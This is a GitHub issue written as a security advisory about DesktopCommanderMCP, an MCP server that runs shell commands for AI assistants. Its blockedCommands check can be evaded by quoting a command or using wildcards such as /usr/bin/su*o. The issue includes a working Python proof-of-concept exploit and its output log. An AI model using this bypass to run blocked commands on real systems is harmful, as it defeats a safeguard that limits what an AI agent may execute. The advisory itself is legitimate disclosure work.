Skip to content

[Security] Command Injection via Blocklist Bypass using Quoting and Wildcards #421

@YLChen-007

Description

@YLChen-007

Advisory Details

Title: Command Injection via Blocklist Bypass using Quoting and Wildcards

Description:

Summary

An incomplete fix for command blocklist bypass allows attackers to evade validation via quotes or wildcard expansions. This allows users with access to the MCP server to execute arbitrarily blocked commands (such as sudo or rm) on the server.

Details

The start_process tool uses a user-configurable blockedCommands list to prevent execution of sensitive commands. While a previous patch attempted to fix absolute path bypasses, the extractBaseCommand and extractCommands functions in src/command-manager.ts fail to properly parse shell semantics.
The validation logic mistakenly treats quotes as part of the command token, meaning that checking \"rm\" against the blocked token rm succeeds. Additionally, passing wildcard expressions (e.g. /usr/bin/su*o) evades the basename matching since the string evaluated does not match the blocklist literal. Because the command is passed directly to the shell, it interprets the quotes or wildcard expansions and executes the underlying command, bypassing the security restrictions.

PoC

Prerequisites

  • The target DesktopCommanderMCP server must be built and running.
  • The blockedCommands feature must be active and configured in ~/.claude-server-commander/config.json. The dummy command secret_malware is added for demonstration purposes.

Reproduction Steps

  1. Save the following code as poc_exploit.py:
#!/usr/bin/env python3
import sys
import json
import subprocess
import time
import os
import shutil

# Setup paths and environment
config_dir = os.path.expanduser("~/.claude-server-commander")
config_path = os.path.join(config_dir, "config.json")
mcp_root = "/root/llm-project-ts/DesktopCommanderMCP"

blocked_cmd_name = "secret_malware"
blocked_cmd_path = f"/tmp/{blocked_cmd_name}"
proof_file = "/tmp/poc_bypassed_success"

def setup():
    # Cleanup previous instances
    if os.path.exists(proof_file):
        os.remove(proof_file)
        
    # Create the 'malware' 
    with open(blocked_cmd_path, "w") as f:
        f.write("#!/bin/sh\n")
        f.write(f"touch {proof_file}\n")
    os.chmod(blocked_cmd_path, 0o755)

    # Backup existing config
    if os.path.exists(config_path):
        shutil.copy(config_path, config_path + ".bak")

    # Write a new config blocking 'secret_malware'
    os.makedirs(config_dir, exist_ok=True)
    with open(config_path, "w") as f:
        json.dump({"blockedCommands": [blocked_cmd_name]}, f)

def teardown():
    # Restore config
    if os.path.exists(config_path + ".bak"):
        shutil.move(config_path + ".bak", config_path)
    if os.path.exists(blocked_cmd_path):
        os.remove(blocked_cmd_path)

def send_request(proc, req_id, method, params):
    req = {
        "jsonrpc": "2.0",
        "id": req_id,
        "method": method,
        "params": params
    }
    proc.stdin.write((json.dumps(req) + "\n").encode())
    proc.stdin.flush()

def read_response(proc, req_id):
    start_time = time.time()
    while time.time() - start_time < 3:
        line = proc.stdout.readline()
        if not line:
            return None
        sys.stderr.write("DEBUG READ: " + line.decode())
        try:
            resp = json.loads(line.decode().strip())
            if "id" in resp and resp["id"] == req_id:
                return resp
        except:
            pass
    return None

def test_exploit(command):
    proc = subprocess.Popen(
        ["node", "dist/index.js", "--no-onboarding"],
        stdin=subprocess.PIPE,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        cwd=mcp_root
    )

    # Initialize MCP
    send_request(proc, 1, "initialize", {
        "protocolVersion": "2024-11-05",
        "capabilities": {},
        "clientInfo": {"name": "poc", "version": "1.0"}
    })
    read_response(proc, 1)

    proc.stdin.write((json.dumps({"jsonrpc": "2.0", "method": "notifications/initialized"}) + "\n").encode())
    proc.stdin.flush()
    time.sleep(1) # wait for server to flush deferred messages

    # Send start_process
    send_request(proc, 2, "tools/call", {
        "name": "start_process",
        "arguments": {
            "command": command,
            "timeout_ms": 5000
        }
    })
    
    resp = read_response(proc, 2)
    proc.stdin.close()
    proc.terminate()
    return resp

if __name__ == "__main__":
    setup()
    
    print("[*] Testing Bypass with Quotes (Exploit Execution)")
    resp = test_exploit(f'"{blocked_cmd_path}"')
    
    print("[*] Results")
    time.sleep(1) # give execution time
    if os.path.exists(proof_file):
        print("  [SUCCESS] Exploit bypassed the blocklist and executed!")
        print("  Proof file created at:", proof_file)
    else:
        print("  [FAILED] Exploit was blocked or failed to execute.")
        print("Response:", resp)
        
    teardown()
  1. Run npm run build in DesktopCommanderMCP if needed.
  2. Run python3 poc_exploit.py.

Log of Evidence

[*] Testing Bypass with Quotes (Exploit Execution)
DEBUG READ: Content-Length: 172
DEBUG READ: 
DEBUG READ: {"protocolVersion":"2024-11-05","capabilities":{"logging":{},"prompts":{"listChanged":true},"resources":{"subscribe":true,"listChanged":true},"tools":{"listChanged":true}},"serverInfo":{"name":"DesktopCommander","version":"1.0.0"}}
DEBUG READ: Content-Length: 147
DEBUG READ: 
DEBUG READ: {"jsonrpc":"2.0","id":2,"result":{"content":[{"type":"text","text":"Started process 570889"}],"isError":false}}
[*] Results
  [SUCCESS] Exploit bypassed the blocklist and executed!
  Proof file created at: /tmp/poc_bypassed_success

Impact

This vulnerability completely bypasses the configured protections enabling attackers to invoke restricted commands.

Affected products

  • Ecosystem: npm
  • Package name: DesktopCommanderMCP
  • Affected versions: <= 0.2.38
  • Patched versions:

Severity

  • Severity: Critical
  • Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Weaknesses

  • CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Occurrences

Permalink Description
src/command-manager.ts The validation logic traversing the syntax tree to enforce the blockedCommands list lacks contextual shell string expansion simulation allowing quote and wildcard evasions.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions